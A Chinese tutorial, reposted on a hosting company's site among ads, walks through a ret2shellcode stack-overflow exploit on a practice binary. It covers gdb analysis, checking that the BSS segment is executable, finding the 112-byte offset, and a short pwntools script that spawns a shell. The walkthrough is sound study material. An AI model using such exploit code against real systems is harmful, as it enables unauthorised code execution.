缓冲区溢出-基本ROP-ret2shellcode-创新互联

基础知识:

目前成都创新互联公司已为上千多家的企业提供了网站建设、域名、网页空间、成都网站托管、企业网站设计、曲江网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

第一步:分析程序代码

使用gdb ./ret2shellcode加载程序,在命令行中输入checksec来查看启用的保护

缓冲区溢出-基本ROP-ret2shellcode

可以发现没有启用任何保护

我们使用disass main来看下main函数的汇编代码

缓冲区溢出-基本ROP-ret2shellcode

这里对strncpy函数做分析,strncpy的api为:char *strncpy(char *dest,char *src,int size_t);第一个参数是接收的变量,第二个是从那里复制,第三个是复制多少。经过分析第一个参数就是[esp],第二个参数是[esp+0x4],第三个参数是[esp+0x8],这样我们知道最终要复制的内容要放到[esp]中,而现在[esp]是0x804a080。

缓冲区溢出-基本ROP-ret2shellcode

经过分析发现调用了gets函数和strncpy函数,其中gets函数存在溢出漏洞,但是该程序没有使用system("/bin/sh"),我们可以尝试让程序跳转到我们的shellcode中,也就是说gets函数接收的不再是普通的字符串而是我们构建好的shellcode。

我们看下0x804a080地址在哪里:

第一种方法:使用IDA

缓冲区溢出-基本ROP-ret2shellcode

第二种方法:在gdb里运行readelf,或者在linux的shell里运行readelf -S xxx查看bss段位置

缓冲区溢出-基本ROP-ret2shellcode

是一个BSS段,如果可以我们讲shellcode放到bss段中,然后将函数的返回值改为0x804a080,现在还缺少一个条件,就是bss段0x804a080是否有执行权限,我们断点调试下:

执行b main 进行断点

执行r 运行程序

执行vmmap查看是否有执行权限

缓冲区溢出-基本ROP-ret2shellcode

0x804a080的区间是在标红的0x0804a000到0x0804b000,有x执行权限

第二步:查找程序溢出的偏移量

重新执行gdb ./ret2shellcode命令加载程序

执行pattern create 200创建字符串

执行 r运行

输入刚才创建的字符串

缓冲区溢出-基本ROP-ret2shellcode

得到0x41384141地址,我们使用pattern offset 0x41384141来查看偏移

缓冲区溢出-基本ROP-ret2shellcode

然后可以想到溢出代码:

from pwn import *

p = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))

p.interactive()

#####

shellcode.ljust(112,'a')这段代码就是要讲shellcode不足112长度的地方用a来填充。

另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。

当前文章:缓冲区溢出-基本ROP-ret2shellcode-创新互联
网站链接:https://www.cdcxhl.com/article12/dddegc.html

成都网站建设公司_创新互联,为您提供网站营销搜索引擎优化外贸网站建设响应式网站网站建设面包屑导航

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

搜索引擎优化